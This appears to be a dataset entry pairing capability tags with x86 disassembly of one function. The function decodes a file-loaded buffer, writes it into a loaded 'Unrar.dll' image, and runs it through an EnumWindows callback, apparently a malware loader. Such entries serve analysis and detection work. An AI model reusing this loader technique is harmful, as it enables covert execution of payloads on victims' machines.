Function at 0x1000116e
Capabilities:
Enumerate gui resources
Read file on windows
Resolve function by parsing pe exports
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
mov eax, dword [0x100f4084]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push esi
push edi
push 0x40
push 0xffffffffffffffff
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0xcc]
push eax
push 5
call fcn.10001b60
mov esi, eax
push esi
call fcn.10001e90
push esi
call fcn.10001b80
add esp, 0x1c
cmp byte [0x100f5b48], 0
jne 0x100014ba
xor eax, eax
mov byte [0x100f5b48], 1
lea edi, [esp + 0x10]
mov esi, 0x1000
stosd dword es:[edi], eax
xor ebx, ebx
push ecx
push esi
lea ecx, [esp + 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], 7
mov word [esp + 0x18], ax
call fcn.100015b1
cmp dword [esp + 0x24], 8
lea eax, [esp + 0x10]
push esi
cmovae eax, dword [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [esp + 0x24], 8
lea edx, [esp + 0x10]
mov esi, dword [esp + 0x20]
cmovae edx, dword [esp + 0x10]
test esi, esi
je 0x10001249
lea eax, [esi - 1]
or ecx, 0xffffffff
cmp eax, ecx
push 0x5c
cmovb ecx, eax
pop eax
lea ecx, [edx + ecx*2]
jmp 0x1000123e
cmp ecx, edx
je 0x10001249
sub ecx, 2
cmp word [ecx], ax
jne 0x10001237
sub ecx, edx
sar ecx, 1
jmp 0x1000124c
or ecx, 0xffffffff
xor eax, eax
lea edi, [esp + 0x58]
stosd dword es:[edi], eax
cmp esi, ecx
cmovb ecx, esi
cmp dword [esp + 0x24], 8
push ecx
stosd dword es:[edi], eax
lea ecx, [esp + 0x5c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x14]
cmovae eax, dword [esp + 0x14]
push eax
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
call fcn.100017bc
lea ecx, [esp + 0x10]
call fcn.10001586
push 6
pop ecx
lea esi, [esp + 0x58]
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
cmp dword [esp + 0x24], 8
lea eax, [esp + 0x10]
cmovae eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x50
lea eax, [esp + 0x74]
mov dword [esp + 0x5c], 0x42080000
push ebx
push eax
mov dword [esp + 0x68], 0x41400000
mov dword [esp + 0x6c], 0x42600000
mov dword [esp + 0x70], 0x42340000
call fcn.100c4ec0
add esp, 0xc
lea ecx, [esp + 0x70]
call fcn.100bf910
push 0xac44
lea ecx, [esp + 0x74]
call fcn.100bff30
push 2
lea ecx, [esp + 0x74]
call fcn.100bfee0
fld qword [0x100f10c8]
push ecx
push ecx
lea ecx, [esp + 0x78]
fstp qword [esp]
call fcn.100bff50
push 4
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x78]
call fcn.100bfd90
push ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call fcn.10001532
push 4
lea ecx, [esp + 0x74]
call fcn.100bfea0
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x10001360
mov edx, dword [esp + 0x3c]
sub edx, ecx
and edx, 0xfffffffe
call fcn.100018dc
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
lea ecx, [esp + 0x70]
call fcn.100bfaa0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.AppleTree.dll
call esi
mov eax, 0x7ffffffe
mov dword [esp + 0x28], ebx
sub eax, dword [esp + 0x20]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
cmp eax, 1
jb 0x100014cf
cmp dword [esp + 0x24], 8
lea eax, [esp + 0x10]
push 1
cmovae eax, dword [esp + 0x14]
push ecx
push dword [esp + 0x28]
push eax
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x70]
call fcn.1000193c
push ecx
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x44]
call fcn.1000165c
pop ecx
lea ecx, [esp + 0x58]
call fcn.10001586
push ecx
lea ecx, [esp + 0x2c]
call fcn.100014df
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push 0x100f10a8
cmovae eax, dword [esp + 0x44]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
call fcn.100c6719
push ebx
push 0x9fdc
push dword [esp + 0x20]
call fcn.100c6c85
push dword [esp + 0x24]
mov edi, 0x238c
push edi
push 1
push dword [esp + 0x4c]
call fcn.100c6e98
push dword [esp + 0x34]
call fcn.100c696c
add esp, 0x2c
push str.Unrar.dll
call esi
push edi
push ebx
lea esi, [eax + 0x1000]
push esi
call fcn.100c4ec0
mov edi, dword [esp + 0x34]
add esp, 0xc
movzx eax, bl
lea edx, [ebx + edi]
imul eax, eax, 0x46
mov cl, 0x70
sub cl, al
mov eax, 0x238c
add byte [edx], cl
inc ebx
cmp ebx, eax
jb 0x10001448
push eax
push dword [esp + 0x2c]
push esi
call fcn.100c4940
add esp, 0xc
xor edi, edi
push edi
push esi
call dword [sym.imp.USER32.dll_EnumWindows]
lea ecx, [esp + 0x40]
call fcn.10001586
mov ecx, dword [esp + 0x28]
test ecx, ecx
je 0x100014a1
mov edx, dword [esp + 0x30]
sub edx, ecx
call fcn.100018dc
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
mov edx, dword [esp + 0x24]
cmp edx, 8
jb 0x100014ba
mov ecx, dword [esp + 0x10]
lea edx, [edx*2 + 2]
call fcn.100018dc
mov ecx, dword [esp + 0x114]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100c35e2
mov esp, ebp
pop ebp
ret
call fcn.1000112c
int3